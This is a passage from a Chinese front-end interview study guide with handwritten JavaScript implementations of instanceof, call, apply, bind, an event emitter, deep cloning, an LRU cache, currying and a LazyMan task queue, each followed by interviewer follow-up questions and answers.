  • ​步骤2:一直循环(执行原型链的查找机制)
    • 取得当前实例对象原型链的原型链(proto = proto.__proto__,沿着原型链一直向上查找)
    • 如果当前实例的原型链__proto__上找到了当前类的原型prototype,则返回 true
    • 如果一直找到Object.prototype.__proto__ == null,Object的基类(null)上面都没找到,则返回 false

// 实例.__ptoto__ === 构造函数.prototype
function _instanceof(instance, classOrFunc) {
    // 由于instance要检测的是某对象,需要有一个前置判断条件
    //基本数据类型直接返回false
    if(typeof instance !== 'object' || instance == null) return false;

    let proto = Object.getPrototypeOf(instance); // 等价于 instance.__ptoto__
    while(proto) { // 当proto == null时,说明已经找到了Object的基类null 退出循环
        // 实例的原型等于当前构造函数的原型
        if(proto == classOrFunc.prototype) return true;
        // 沿着原型链__ptoto__一层一层向上查
        proto = Object.getPrototypeof(proto); // 等价于 proto.__ptoto__
    }

    return false
}

console.log('test', _instanceof(null, Array)) // false
console.log('test', _instanceof([], Array)) // true
console.log('test', _instanceof('', Array)) // false
console.log('test', _instanceof({}, Object)) // true

💬 面试官追问

  • 权限校验代码分别执行 _instanceof([], Array)、_instanceof({}, Object) 和 _instanceof('', String),手写版本为什么前两项为真而最后一项为假?

    前两项的左值都是对象,其原型链分别包含 Array.prototype 和 Object.prototype。字符串字面量属于基本类型,前置判断会直接返回 false,不会因可被包装为 String 对象就命中;这也说明原型链判断不是值类型转换。

  • 插件系统要判断传入对象是否由某个插件构造函数创建,你会怎样写原型链遍历,避免直接依赖 __proto__?

    先用 Object.getPrototypeOf(instance) 取得当前原型,再循环与 classOrFunc.prototype 做严格比较,未命中就继续向上获取原型。遍历到 null 时返回 false;还应先排除 null 和基本类型,避免读取原型时抛错。

  • 业务把 Object.create(null) 生成的字典交给 _instanceof(dict, Object),评审认为“所有对象都应属于 Object”,你如何解释结果?

    该字典没有原型,其原型链不会经过 Object.prototype,因此按给定遍历逻辑应返回 false。typeof dict 仍是 object,但对象类型判断与是否继承 Object.prototype 不是同一件事;依赖该结论做数据校验时容易漏掉无原型对象。

  • 线上 _instanceof([], Array) 突然抛出 Object.getPrototypeof is not a function,而首轮原型读取正常,你会怎么排查?

    异常来自循环中的方法名大小写错误:标准 API 是 Object.getPrototypeOf,其中 Of 的大小写必须一致。修正后再用数组、普通对象、基本类型和 null 覆盖分支;若只测一次命中的对象,错误可能因未进入下一轮遍历而被掩盖。

  • 有人想用 constructor 属性替代整段原型链遍历,以减少代码量;面对原型被重写的业务模型,你会选哪种方案?

    应保留原型链遍历,因为目标是判断右侧构造函数的 prototype 是否出现在左侧对象的原型链上。constructor 属性可能继承而来,也可能被覆盖或因重写原型而丢失,不能稳定等价;手写逻辑仍只用于理解常规机制,完整语义优先交给原生 instanceof。

# 实现call方法

⚡ 30 秒速记

  • call做了什么

实现 call 的核心,是让目标函数临时成为指定对象的方法,从而在调用时把 this 指向该对象。 可以用 Symbol 创建不冲突的临时属性,挂载函数并传入参数执行,拿到结果后再删除属性,避免污染原对象。没有传上下文时默认使用 window,传入值类型时需要先包装成对象,最后还要把函数执行结果原样返回。

call做了什么:

  • 将函数设为对象的属性
  • 执行和删除这个函数
  • 指定this到函数并传入给定参数执行函数
  • 如果不传入参数,默认指向 window

分析:如何在函数执行时绑定this

  • 如var obj = {x:100,fn() { this.x }}
  • 执行obj.fn() ,此时fn内部的this就指向了obj
  • 可借此来实现函数绑定this

原生call、apply传入的this如果是值类型,会被new Object(如fn.call('abc'))

//实现call方法

// 相当于在obj上调用fn方法,this指向obj 
// var obj = {fn: function(){console.log(this)}}
// obj.fn() fn内部的this指向obj
// call就是模拟了这个过程
// context 相当于obj

Function.prototype.myCall = function(context = window, ...args) {
  if (typeof context !== 'object') context = new Object(context) // 值类型,变为对象

  // args 传递过来的参数
  // this 表示调用call的函数fn
  // context 是call传入的this

  // 在context上加一个唯一值,不会出现属性名称的覆盖
  let fnKey = Symbol()
  // 相等于 obj[fnKey] = fn 
  context[fnKey] = this; // this 就是当前的函数
  
  // 绑定了this
  let result = context[fnKey](...args);// 相当于 obj.fn()执行 fn内部this指向context(obj)

  // 清理掉 fn ,防止污染(即清掉obj上的fnKey属性)
  delete context[fnKey];

  // 返回结果 
  return result;
};
//用法:f.call(this,arg1)

function f(a,b){
 console.log(a+b)
 console.log(this.name)
}
let obj={
 name:1
}
f.myCall(obj,1,2) // 不传obj,this指向window

💬 面试官追问

  • 日志函数执行 format.myCall('订单', 42) 时,函数内部读取 this 的包装对象属性;为什么不能把字符串原值直接当成临时方法宿主?

    属性调用需要一个可承载临时方法的对象,因此简版实现会用 new Object(context) 包装字符串等值类型,再通过 context[fnKey](...args) 建立调用上下文。使用 Symbol 可避免覆盖已有同名属性;包装会改变观察到的 this 形态,严格模式等完整原生语义不能靠该简版完全覆盖。

  • 监控 SDK 要用 handler.myCall(session, event, meta) 调用处理器并拿到返回值,你会如何组织绑定、执行和清理?

    在 session 上以唯一 Symbol 临时挂载 handler,用成员调用形式传入 event、meta,保存结果后删除该属性并返回结果。这样既传递参数又绑定 this;若处理器抛异常,普通顺序删除不会执行,应使用 try...finally 保证清理。

  • 服务端渲染环境没有 window,调用 fn.myCall() 直接报引用错误;在不改变“缺省上下文”需求时你会怎样约束实现?

    不能把默认参数写死为仅浏览器存在的 window,应根据运行环境选择全局对象,例如使用可跨环境访问的 globalThis。还要显式处理传入 null 或 undefined 的情形;若要求精确复刻严格模式下的原生行为,简单全局回退并不充分。

  • 线上发现业务对象上残留一个临时函数,随后一次调用还覆盖了错误状态;日志显示被调用函数中途抛错,你会先改哪里?

    先把执行与删除放进 try...finally,让回调正常返回或抛错时都能移除 Symbol 属性,同时保持原异常继续向外传播。还应确认对象是否允许新增和删除属性;被冻结或不可扩展的对象会使“临时挂属性”方案本身失败。

  • 代码评审中一方坚持用临时属性模拟 call,另一方要求生产代码直接调用原生 call;你会如何定夺?

    手写版本适合展示成员调用如何改变 this,以及参数透传、结果返回和属性清理的机制。生产路径应优先使用原生 call,因为临时属性方案受不可扩展对象、异常清理和运行环境影响;除非目标就是教学或受控兼容层,否则维护成本不划算。

# 实现apply方法

⚡ 30 秒速记

  • 先说明“实现apply方法”的核心结论,再结合正文示例解释实现与边界

实现 apply 的关键,是把待执行函数临时挂到目标对象上,再通过该对象调用它来改变 this。 我会用 Symbol 作为临时属性名,避免覆盖对象原有属性,并把值类型的上下文包装成对象。参数与 call 不同,需要从数组中展开传入。函数执行后要删除临时属性并返回结果,防止污染上下文。

思路: 利用this的上下文特性。apply其实就是改一下参数的问题

Function.prototype.myApply = function(context = window, args) {  // 这里传参和call传参不一样
  if (typeof context !== 'object') context = new Object(context) // 值类型,变为对象

  // args 传递过来的参数
  // this 表示调用call的函数
  // context 是apply传入的this

  // 在context上加一个唯一值,不会出现属性名称的覆盖
  let fnKey = Symbol()
  context[fnKey] = this; // this 就是当前的函数
  
  // 绑定了this
  let result = context[fnKey](...args); 

  // 清理掉 fn ,防止污染
  delete context[fnKey]; 

  // 返回结果
  return result;
}
// 使用
function f(a,b){
 console.log(a,b)
 console.log(this.name)
}
let obj={
 name:'张三'
}
f.myApply(obj,[1,2])

💬 面试官追问

  • 报表函数原本用 sum.myApply(report, [1,2]),同事误改成 sum.myApply(report, 1, 2) 后参数异常;这和 call 的传参差异在哪里?

    apply 的待调用参数应作为一个数组式集合整体传入,实现再通过 ...args 展开;call 才是把参数逐个写在上下文之后。该简版签名只接收第二个参数,额外位置参数会被忽略;若 args 不是可展开值,还会在执行处抛错。

  • 埋点 SDK 需要以页面对象为 this,把动态生成的参数数组交给处理函数并保留返回值,你会怎样实现核心路径?

    用唯一 Symbol 把当前函数临时挂到页面对象上,再执行 context[fnKey](...args),保存并返回处理结果。调用结束后删除临时属性,避免污染页面对象;处理函数可能抛错时必须用 try...finally 清理,否则残留属性会形成隐蔽状态。

  • 同一套 myApply 要跑在浏览器和 Node.js,且调用方可能显式传入字符串上下文;原实现中的 window 和类型判断要怎样处理?

    缺省上下文不能固定为 window,可改用跨环境的 globalThis,字符串等值类型则需要包装为对象后再挂载临时方法。还要单独处理 null,因为它虽被 typeof 判为 object 却不能承载属性;这些兼容处理仍不代表完全复刻原生严格模式语义。

  • 线上调用 worker.myApply(Object.freeze(scope), jobs) 时没有进入业务函数,错误指向写入 scope[fnKey];你会如何确认根因?

    先检查 scope 是否被冻结、密封或不可扩展,因为模拟方案必须向上下文对象写入临时属性。若对象不允许扩展,挂载步骤就会失败,尚未涉及参数数组;生产代码应改用原生 apply,而不是为手写方案复制或改造业务对象。

  • 批处理接口已有任务数组,一方建议用 fn.myApply(ctx, tasks),另一方要改成 fn.myCall(ctx, ...tasks);两者该如何取舍?

    两种写法在这里都能把任务作为位置参数传入并绑定同一 this,差异主要在调用接口:已有数组时 apply 更直接,逐项参数时 call 更直观。任务规模很大时,展开参数本身可能受运行环境限制;若函数本就应接收数组,直接传数组比把元素展开成大量形参更稳妥。

# 实现bind方法

⚡ 30 秒速记

  • bind 的实现对比其他两个函数略微地复杂了一点,涉及到参数合并(类似函数柯里化),因为 bind 需要返回一个函数,需要判断一些边界问题,以下是 bind 的实现

实现 bind 要返回一个新函数,同时处理参数合并、普通调用和构造调用。 普通调用时,用 apply 将首次绑定和实际调用的参数拼起来,并让 this 指向传入对象。通过 new 调用时,this 应指向新实例,因此要忽略绑定对象,并用 Object.create 保留原函数的原型能力。多次 bind 也不能改掉第一次绑定的 this。

bind 的实现对比其他两个函数略微地复杂了一点,涉及到参数合并(类似函数柯里化),因为 bind 需要返回一个函数,需要判断一些边界问题,以下是 bind 的实现

  • bind 返回了一个函数,对于函数来说有两种方式调用,一种是直接调用,一种是通过 new 的方式,我们先来说直接调用的方式
  • 对于直接调用来说,这里选择了 apply 的方式实现,但是对于参数需要注意以下情况:因为 bind 可以实现类似这样的代码 f.bind(obj, 1)(2),所以我们需要将两边的参数拼接起来
  • 最后来说通过 new 的方式,对于 new 的情况来说,不会被任何方式改变 this,所以对于这种情况我们需要忽略传入的 this
  • 箭头函数的底层是bind,无法改变this,只能改变参数

简洁版本

  • 对于普通函数,绑定this指向
  • 对于构造函数,要保证原函数的原型对象上的属性不能丢失
Function.prototype.myBind = function(context = window, ...args) {
  // context 是 bind 传入的 this
  // args 是 bind 传入的各个参数
  // this表示调用bind的函数
  let self = this; // fn.bind(obj) self就是fn

  //返回了一个函数,...innerArgs为实际调用时传入的参数
  let fBound = function(...innerArgs) { 
      //this instanceof fBound为true表示构造函数的情况。如new func.bind(obj)
      // 当作为构造函数时,this 指向实例,此时 this instanceof fBound 结果为 true,可以让实例获得来自绑定函数的值
      // 当作为普通函数时,this 默认指向 window,此时结果为 false,将绑定函数的 this 指向 context
      return self.apply( // 函数执行
        this instanceof fBound ? this : context, 
        args.concat(innerArgs) // 拼接参数
      );
  }

  // 如果绑定的是构造函数,那么需要继承构造函数原型属性和方法:保证原函数的原型对象上的属性不丢失
  // 实现继承的方式: 使用Object.create
  fBound.prototype = Object.create(this.prototype);
  return fBound;
}
// 测试用例

function Person(name, age) {
  console.log('Person name:', name);
  console.log('Person age:', age);
  console.log('Person this:', this); // 构造函数this指向实例对象
}

// 构造函数原型的方法
Person.prototype.say = function() {
  console.log('person say');
}

// 普通函数
function normalFun(name, age) {
  console.log('普通函数 name:', name); 
  console.log('普通函数 age:', age); 
  console.log('普通函数 this:', this);  // 普通函数this指向绑定bind的第一个参数 也就是例子中的obj
}


var obj = {
  name: 'poetries',
  age: 18
}

// 先测试作为构造函数调用
var bindFun = Person.myBind(obj, 'poetry1') // undefined
var a = new bindFun(10) // Person name: poetry1、Person age: 10、Person this: fBound {}
a.say() // person say

// 再测试作为普通函数调用
var bindNormalFun = normalFun.myBind(obj, 'poetry2') // undefined
bindNormalFun(12) 
// 普通函数name: poetry2 
// 普通函数 age: 12 
// 普通函数 this: {name: 'poetries', age: 18}

注意: bind之后不能再次修改this的指向(箭头函数的底层实现原理依赖bind绑定this后不能再次修改this的特性),bind多次后执行,函数this还是指向第一次bind的对象

💬 面试官追问

  • 详情页把 handler.bind(card, 1) 保存后,又用 call(other, 2) 触发,产品认为 this 应改成 other;你如何用代码现象反驳?

    执行时的 this 仍应指向首次绑定的 card,参数则合并为 1、2。绑定函数不能再被 call、apply 或后续 bind 改写上下文;手写版应在闭包中固定 context,不能采用调用点的普通 this。

  • 表格组件为上千行分别创建绑定回调,代码评审在原生 bind 和 myBind 之间发生争议,你会怎样落地?

    业务代码应优先使用原生 bind,手写实现只适合验证参数合并和上下文规则。还要避免每次渲染重复创建绑定函数,否则会增加函数对象并影响事件解绑;可在实例初始化或稳定缓存层完成绑定。

  • 同一份 myBind 既要绑定普通处理器,又要支持 new BoundUser('A'),传入的 context 此时该不该生效?

    通过 new 调用时必须忽略传入的 context,让原函数接收新实例作为 this。可用 this instanceof fBound 区分构造调用,并让 fBound.prototype 继承原函数原型;否则实例会丢失原型方法。

  • 线上发现普通绑定调用正常,但绑定箭头函数时在 Object.create(this.prototype) 抛错,你会如何定位和修正?

    箭头函数没有可供构造的普通 prototype,无条件执行 Object.create(undefined) 会失败。应先确认原函数原型是否为对象,再决定是否建立原型链;箭头函数的词法 this 也不会被手写 apply 真正改写。

  • 框架工具库想完整替代原生 bind,但当前实现只处理参数和原型,你会接受这个选型吗?

    不应把该面试实现声明为原生 bind 的完整替代,它只覆盖普通调用、构造调用和部分参数预置语义。生产级兼容还需核对构造返回值、函数元信息及不可构造函数等边界,维护成本通常高于直接使用标准 API。

# 发布订阅模式

⚡ 30 秒速记

  • 发布订阅者模式,一种对象间一对多的依赖关系,但一个对象的状态发生改变时,所依赖它的对象都将得到状态改变的通知

发布订阅模式通过事件中心维护一对多关系,让发布者和订阅者不必直接依赖彼此。 实现时可用对象缓存事件列表,on 注册回调,emit 按事件名触发,off 负责取消订阅,once 则在首次执行后移除。它适合异步通知和需要松耦合的场景。代价是订阅会占用时间和内存,发布者与订阅者嵌套过多时也较难追踪。

简介:

发布订阅者模式,一种对象间一对多的依赖关系,但一个对象的状态发生改变时,所依赖它的对象都将得到状态改变的通知。

主要的作用(优点):

  1. 广泛应用于异步编程中(替代了传递回调函数)
  2. 对象之间松散耦合的编写代码

缺点:

  • 创建订阅者本身要消耗一定的时间和内存
  • 多个发布者和订阅者嵌套一起的时候,程序难以跟踪维护

实现的思路:

  • 创建一个对象(缓存列表)
  • on方法用来把回调函数fn都加到缓存列表中
  • emit 根据key值去执行对应缓存列表中的函数
  • off方法可以根据key值取消订阅
class EventEmiter {
  constructor() {
    // 事件对象,存放订阅的名字和事件
    this._events = {}
  }
  // 订阅事件的方法
  on(eventName,callback) {
    if(!this._events) {
      this._events = {}
    }
    // 合并之前订阅的cb
    this._events[eventName] = [...(this._events[eventName] || []),callback]
  }
  // 触发事件的方法
  emit(eventName, ...args) {
    if(!this._events[eventName]) {
      return
    }
    // 遍历执行所有订阅的事件
    this._events[eventName].forEach(fn=>fn(...args))
  }
  off(eventName,cb) {
    if(!this._events[eventName]) {
      return
    }
    // 删除订阅的事件
    this._events[eventName] = this._events[eventName].filter(fn=>fn != cb && fn.l != cb)
  }
  // 绑定一次 触发后将绑定的移除掉 再次触发掉
  once(eventName,callback) {
    const one = (...args)=>{
      // 等callback执行完毕在删除
      callback(args)
      this.off(eventName,one)
    }
    one.l = callback // 自定义属性
    this.on(eventName,one)
  }
}

测试用例

let event = new EventEmiter()

let login1 = function(...args) {
  console.log('login success1', args)
}
let login2 = function(...args) {
  console.log('login success2', args)
}
// event.on('login',login1)
event.once('login',login2)
event.off('login',login1) // 解除订阅
event.emit('login', 1,2,3,4,5)
event.emit('login', 6,7,8,9)
event.emit('login', 10,11,12)  

发布订阅者模式和观察者模式的区别?

  • 发布/订阅模式是观察者模式的一种变形,两者区别在于,发布/订阅模式在观察者模式的基础上,在目标和观察者之间增加一个调度中心。
  • 观察者模式是由具体目标调度,比如当事件触发,Subject 就会去调用观察者的方法,所以观察者模式的订阅者与发布者之间是存在依赖的。
  • 发布/订阅模式由统一调度中心调用,因此发布者和订阅者不需要知道对方的存在。

💬 面试官追问

  • 登录页直接调用头像、菜单和埋点模块,候选人却称它是发布订阅;如果没有调度中心,你会怎样判断?

    这更接近观察者式的直接通知,因为登录模块明确知道并调用各订阅方。发布订阅应由事件中心保存 login 对应的回调列表,发布者与订阅者只依赖事件契约;代价是调用链更隐蔽。

  • 单页应用反复进入订单页,每次都执行 on('paid', callback),退出页面没有清理,线上出现重复弹窗,你会怎样改?

    重复弹窗通常来自订阅累计,应在页面卸载时用同一函数引用执行 off,或让订阅方法返回清理函数。事件中心还应限制无效回调并提供订阅数量观测,否则内存占用和重复副作用会随页面切换增长。

  • 消息中心要求 once('login', cb) 把五个参数原样传给回调,现有代码却收到一个数组,你会改哪一处?

    包装函数中应调用 callback(...args),当前 callback(args) 改变了回调的参数形态。包装函数仍需通过自定义引用关联原回调,使 off(eventName, cb) 能在触发前取消一次性订阅;这种属性约定需要统一封装。

  • 线上某个 once 回调抛出异常后,下一次 emit 又执行了一遍,你如何解释并处理?

    现有实现先执行回调、后取消订阅,异常会中断 off,因此包装函数仍留在缓存列表。可用 try...finally 保证清理,或在调用前先解除订阅;前者保留执行期间仍视为已订阅的语义,后者更能防止重入。

  • 支付状态变更要求订阅者按顺序执行且失败可追踪,团队仍想沿用同步 forEach 事件总线,你会接受吗?

    简单同步通知可继续使用,但 forEach 无法表达异步等待、失败策略和事务边界。若业务要求顺序、重试或结果汇总,应明确 emit 的返回协议并改为可等待调度;事件总线越强,耦合只是从模块转移到事件契约。

# 手写JS深拷贝-考虑各种数据类型和循环引用

⚡ 30 秒速记

  • 使用JSON.stringify

完整的深拷贝需要递归处理普通对象、数组、Map 和 Set,并用 WeakMap 解决循环引用。 遇到基本类型或 null 可以直接返回;遇到引用类型,则先查询缓存,避免重复递归。Map 的键和值都要复制,Set 的成员和数组元素也要逐项复制。JSON.stringify 和只处理对象、数组的简单方案都无法覆盖 Map、Set 与循环引用,前者还不能转换函数。

  • 使用JSON.stringify
    • 无法转换函数
    • 无法转换Map和Set
    • 无法转换循环引用
  • 普通深拷贝
    • 只考虑Object和Array
    • 无法转换Map、Set和循环引用
    • 只能应对初级要求的技术一面

普通深拷贝 - 只考虑了简单的数组、对象

/**
 * 普通深拷贝 - 只考虑了简单的数组、对象
 * @param obj obj
 */
function cloneDeep(obj) {
    if (typeof obj !== 'object' || obj == null ) return obj

    let result
    if (obj instanceof Array) {
        result = []
    } else {
        result = {}
    }

    for (let key in obj) {
        if (obj.hasOwnProperty(key)) {            
            result[key] = cloneDeep(obj[key]) // 递归调用
        }
    }

    return result
}
// 功能测试
const a: any = {
    set: new Set([10, 20, 30]),
    map: new Map([['x', 10], ['y', 20]])
}
a.self = a
console.log( cloneDeep(a) ) // 无法处理 Map Set 和循环引用

深拷贝-考虑数组、对象、Map、Set、循环引用

/**
 * 深拷贝
 * @param obj obj
 * @param map weakmap 为了避免循环引用、避免导致内存泄露的风险
 */
function cloneDeep(obj, map = new WeakMap()) {
    if (typeof obj !== 'object' || obj == null ) return obj

    // 避免循环引用
    const objFromMap = map.get(obj)
    if (objFromMap) return objFromMap

    let target = {}
    map.set(obj, target)

    // Map
    if (obj instanceof Map) {
        target = new Map()
        obj.forEach((v, k) => {
            const v1 = cloneDeep(v, map)
            const k1 = cloneDeep(k, map)
            target.set(k1, v1)
        })
    }

    // Set
    if (obj instanceof Set) {
        target = new Set()
        obj.forEach(v => {
            const v1 = cloneDeep(v, map)
            target.add(v1)
        })
    }

    // Array
    if (obj instanceof Array) {
        target = obj.map(item => cloneDeep(item, map))
    }

    // Object
    for (const key in obj) {
        target[key] = cloneDeep(obj[key], map)
    }

    return target
}
// 功能测试
const a: any = {
    set: new Set([10, 20, 30]),
    map: new Map([['x', 10], ['y', 20]]),
    info: {
        city: 'shenzhen'
    },
    fn: () => { console.info(100) }
}
a.self = a
console.log( cloneDeep(a) )

💬 面试官追问

  • 配置页用 JSON.stringify 深拷贝包含函数、Map 和自引用的数据,保存前直接报错;你会指出哪些反例?

    自引用会使序列化失败,函数无法按原值复制,Map 和 Set 也不会保留其集合语义。若数据只含可序列化对象和数组才可考虑该方式;超出这一约束就应使用明确支持对应类型的克隆策略。

  • 状态仓库需要复制包含对象、数组、Map、Set 和循环引用的快照,你会怎样组织递归实现?

    先对非对象和 null 原样返回,再用 WeakMap 查询已复制对象,命中时直接复用目标。创建对应容器后必须立即登记映射,再递归复制属性、Map 的键值及 Set 的成员,才能保持共享引用关系。

  • 需求从普通对象扩展到 Map,现有实现先 map.set(obj, {}),随后才把 target 改为 new Map();自引用时会发生什么?

    循环再次访问原 Map 时会取回先登记的空对象,而不是最终的 Map,引用结构因此被破坏。应先判定容器类型、创建正确目标并登记,再遍历内容;数组和 Set 也必须遵循相同顺序。

  • 线上克隆后发现继承属性被复制成自有属性,访问器也变成计算后的普通值,你会从哪段循环排查?

    应检查 for...in,它会遍历可枚举的继承属性,而直接赋值也不会保留属性描述符。若契约只承诺普通可枚举数据,应明确限制并加 hasOwnProperty;若要保留原型和描述符,复杂度会明显上升。

  • 编辑器只需要复制结构化表单数据,团队却准备维护一套覆盖所有 JavaScript 类型的递归克隆器,你会如何取舍?

    先限定表单数据允许的类型,若只有普通对象、数组和基础值,窄实现更容易验证。只有确实存在 Map、Set 或循环引用时才扩展,并用共享引用测试锁定语义;函数通常只能保留引用,不能复制其闭包状态。

# 用JS实现一个LRU缓存

⚡ 30 秒速记

  • 什么是LRU缓存

可以用 Map 实现一个支持 get 和 set 的 LRU 缓存。 Map 既能按键快速查找,又会保留插入顺序,所以读取或更新某个键时,先删除再插入,就能把它标记为最近使用。写入后如果容量超限,就通过 data.keys().next().value 找到并删除最早插入的键。这里的 get 在未命中时返回 null,而命中读取也会改变缓存顺序。

  • 什么是LRU缓存
    • LRU(Least Recently Used) 最近最少使用
    • 假如我们有一块内存,专门用来缓存我们最近访问的网页,访问一个新网页,我们就会往内存中添加一个网页地址,随着网页的不断增加,内存存满了,这个时候我们就需要考虑删除一些网页了。这个时候我们找到内存中最早访问的那个网页地址,然后把它删掉。这一整个过程就可以称之为 LRU 算法
    • 核心两个API,get和set
  • 分析
    • 用哈希表存储数据,这样get set才够快,时间复杂度O(1)
    • 必须是有序的,常用数据放在前面,沉水数据放在后面
    • 哈希表 + 有序,就是Map
class LRUCache {
  constructor(length) {
    this.length = length; // 存储长度
    this.data = new Map(); // 存储数据
  }
  // 存储数据,通过键值对的方式
  set(key, value) {
    const data = this.data;

    // 有的话 删除 重建放到map最前面
    if (data.has(key)) {
      data.delete(key)
    }

    data.set(key, value);

    // 如果超出了容量,则需要删除最久的数据
    if (data.size > this.length) {
      // 删除map最老的数据
      const delKey = data.keys().next().value;
      data.delete(delKey);
    }
  }
  // 获取数据
  get(key) {
    const data = this.data;
    // 未找到
    if (!data.has(key)) {
      return null;
    }
    const value = data.get(key); // 获取元素
    data.delete(key); // 删除元素
    data.set(key, value); // 重新插入元素到map最前面

    return value // 返回获取的值
  }
}
// 测试

const lruCache = new LRUCache(2)
lruCache.set(1, 1) // {1=1}
lruCache.set(2, 2) // {1=1, 2=2}
console.info(lruCache.get(1)) // 1 {2=2, 1=1}
lruCache.set(3, 3) // {1=1, 3=3}
console.info(lruCache.get(2)) // null
lruCache.set(4, 4) // {3=3, 4=4}
console.info(lruCache.get(1)) // null
console.info(lruCache.get(3)) // 3 {4=4, 3=3}
console.info(lruCache.get(4)) // 4 {3=3, 4=4}

💬 面试官追问

  • 图片预览页缓存容量为 2,依次执行 set('a')、set('b')、get('a')、set('c'),有人认为应淘汰 a;你如何判断?

    应淘汰 b,因为成功的 get('a') 已把 a 更新为最近使用项。实现可删除 a 后重新 set,利用 Map 的插入顺序维护新旧关系;若读取不更新顺序,那实现的就不是标准访问语义下的 LRU。

  • 搜索建议组件要缓存最近查询,容量可能传入 0 或负数,当前构造函数直接保存 length,你会怎样约束?

    应在构造阶段校验容量为可接受的非负整数,并明确容量为 0 时每次写入都立即淘汰。若静默接受负数,单次删除后仍可能超限;输入契约不清会让缓存大小和调用方预期持续偏离。

  • 缓存从固定条目数改为按图片字节预算淘汰,现有 Map 实现还能直接沿用吗?

    顺序维护仍可沿用,但超限条件必须从 data.size 改为累计权重,并可能连续淘汰多个最旧条目。每次覆盖键时还要扣除旧权重、加入新权重;若权重无法可靠估算,就不能保证内存预算。

  • 线上反馈缓存命中率骤降,日志显示同一个键不断 get 成功却仍被提前淘汰,你会检查哪些代码路径?

    先确认所有读取是否都经过会更新顺序的 get,以及是否存在绕过封装直接访问内部 Map 的路径。再复现插入、命中、覆盖和淘汰序列,打印键顺序;若并发异步流程共享实例,还要按实际完成顺序解释访问时间。

  • 服务端渲染进程准备缓存大量查询结果,候选方案是 Map 版 LRU 或哈希表加双向链表,你会怎样选?

    JavaScript 的 Map 已能通过删除并重插维持访问顺序,代码短且核心操作可保持常数级语义,适合一般容量缓存。需要精细节点操作、权重淘汰或更强控制时可选哈希表加双向链表,但实现和维护风险更高。

# 手写curry函数,实现函数柯里化

⚡ 30 秒速记

  • curry返回的是一个函数fn

curry 的实现核心是用闭包持续收集参数,参数足够后再执行原函数。 可以通过原函数的 fn.length 得到形参数量,每次调用内部的 calc 时把新参数追加到闭包数组。参数不足就继续返回 calc,达到数量后使用 fn.apply 执行并返回结果。这个版本会用 slice 忽略超出形参数量的参数,而且一次柯里化调用共用同一份参数状态。

分析

  • curry返回的是一个函数fn
  • 执行fn,中间状态返回函数,如add(1)或者add(1)(2)
  • 最后返回执行结果,如add(1)(2)(3)
// 实现函数柯里化

function curry(fn) {
    const fnArgsLength = fn.length // 传入函数的参数长度
    let args = []

    function calc(...newArgs) {
        // 积累参数保存到闭包中
        args = [
            ...args,
            ...newArgs
        ]
        // 积累的参数长度跟传入函数的参数长度对比
        if (args.length < fnArgsLength) {
            // 参数不够,返回函数
            return calc
        } else {
            // 参数够了,返回执行结果
            return fn.apply(this, args.slice(0, fnArgsLength)) // 传入超过fnArgsLength长度的参数没有意义
        }
    }

    // 返回一个函数
    return calc
}
// 测试

function add(a, b, c) {
    return a + b + c
}
// add(10, 20, 30) // 60

var curryAdd = curry(add)
var res = curryAdd(10)(20)(30) // 60
console.info(res)

💬 面试官追问

  • 结算页把三参数 sum 柯里化后执行 curried(1, 2)(3),但实现只按一次一个参数设计;你期望它返回什么?

    它应返回原函数执行结果,因为累计参数总数已经达到 fn.length。每次调用都应接收 ...newArgs 并合并到已收集参数中,而不是假设调用链固定为单参数;空调用是否计数则需单独约定。

  • 组件同时保存 const a = curried(1) 和 const b = curried(10),随后分别继续调用,却出现参数串线,你会如何修正?

    根因是所有分支共享并修改外层 args,两个中间函数并不独立。应让每次部分调用创建新的参数数组和新闭包,例如递归返回携带 collected 的函数;代价是会生成更多短生命周期函数。

  • 工具函数含默认参数或剩余参数,团队仍以 fn.length 判断收集完成,你会提示什么限制?

    fn.length 只能作为该简化实现的元数判断依据,默认参数和剩余参数会让它不能完整表达业务所需参数数目。工程实现应允许显式传入目标元数或改用终止调用约定,否则可能过早执行或一直等待。

  • 线上调用 obj.curriedMethod(1)(2) 后发现原方法中的 this 丢失,你会从哪次调用定位?

    应检查中间函数返回后,最终 fn.apply(this, args) 取得的是哪一次调用的 this,链式裸调用通常无法保留最初接收者。若契约要求固定上下文,应在首次调用捕获或预先 bind;不同策略对后续显式改写 this 的行为不同。

  • 埋点 SDK 要支持任意分组传参和重复复用,团队在柯里化与普通参数对象之间争论,你会如何取舍?

    参数个数固定、分阶段注入依赖时,柯里化能形成可复用的部分函数。若参数多、可选项多或调用顺序不稳定,命名参数对象通常更清晰;柯里化还要处理分支隔离、元数判断和上下文语义,不能只看演示代码。

# 手写一个LazyMan,实现sleep机制

⚡ 30 秒速记

  • 支持sleep和eat两个方法

LazyMan 可以用任务队列实现 eat、sleep 和链式调用。 eat 与 sleep 不立即执行,而是把任务函数依次放进 tasks,每个任务完成后主动调用 next。构造函数通过 setTimeout 延后启动,让当前同步代码先把整条调用链注册完。遇到 sleep 时,再用 setTimeout 等待指定秒数后继续取下一个任务,因此后续任务不会提前执行。

  • 支持sleep和eat两个方法
  • 支持链式调用
// LazyMan示例

const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(5).eat('葡萄')

// 打印
// 张三 eat 苹果
// 张三 eat 香蕉
// 等待5秒
// 张三 eat 葡萄

思路

  • 由于有sleep功能,函数不能直接在调用时触发
  • 初始化一个列表,把函数注册进去
  • 由每个item触发next执行(遇到sleep则异步触发,使用setTimeout)

/**
 * @description lazy man
 */

class LazyMan {
    constructor(name) {
        this.name = name

        this.tasks = [] // 任务列表

        // 等注册完后在初始执行next
        setTimeout(() => {
            this.next()
        })
    }

    next() {
        const task = this.tasks.shift() // 取出当前 tasks 的第一个任务
        if (task) task()
    }

    eat(food) {
        const task = () => {
            console.info(`${this.name} eat ${food}`)
            this.next() // 立刻执行下一个任务
        }
        this.tasks.push(task)

        return this // 链式调用
    }

    sleep(seconds) {
        const task = () => {
            console.info(`${this.name} 开始睡觉`)
            setTimeout(() => {
                console.info(`${this.name} 已经睡完了 ${seconds}s,开始执行下一个任务`)
                this.next() // xx 秒之后再执行下一个任务
            }, seconds * 1000)
        }
        this.tasks.push(task)

        return this // 链式调用
    }
}
// 测试

const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(2).eat('葡萄').eat('西瓜').sleep(2).eat('橘子')

💬 面试官追问

  • 商品详情页里执行 new LazyMan('张三').sleep(2).eat('苹果'),如果构造函数直接调用 next(),为什么控制台可能什么都不打印?

